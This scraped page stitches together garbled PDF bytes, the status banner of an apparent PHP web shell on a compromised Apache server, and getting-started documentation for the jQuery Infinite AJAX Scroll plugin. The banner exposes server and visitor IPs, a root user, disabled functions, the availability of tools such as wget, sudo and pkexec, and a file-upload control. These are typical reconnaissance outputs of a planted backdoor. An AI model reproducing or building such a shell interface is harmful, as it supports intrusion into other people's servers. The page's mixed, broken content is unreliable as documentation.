%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/doc/ |
Upload File : |
Getting started =============== ### Markup This is an example of a minimal required markup. ```html <div id="posts"> <div class="post">...</div> <div class="post">...</div> </div> <div id="pagination"> <a href="/page2/" class="next">next</a> </div> ``` The required elements are: * A container (`#posts` in this example) wrapped around your page items * Item elements (`#posts > .post` in this example) * A pagination element (`#pagination` in this example) containing your pagination links * A link inside your pagination with a class that indicates it's the next link (`#pagination > .next` in this example) ### Javascript The above markup is then mapped in the options of IAS. ```javascript var ias = jQuery.ias({ container: '#posts', item: '.post', pagination: '#pagination', next: '.next' }); ``` Now you have a basic setup of Infinite AJAX Scroll. Time to add some fancy stuff. ```javascript // Add a loader image which is displayed during loading ias.extension(new IASSpinnerExtension()); // Add a link after page 2 which has to be clicked to load the next page ias.extension(new IASTriggerExtension({offset: 2})); // Add a text when there are no more pages left to load ias.extension(new IASNoneLeftExtension({text: "You reached the end"})); ```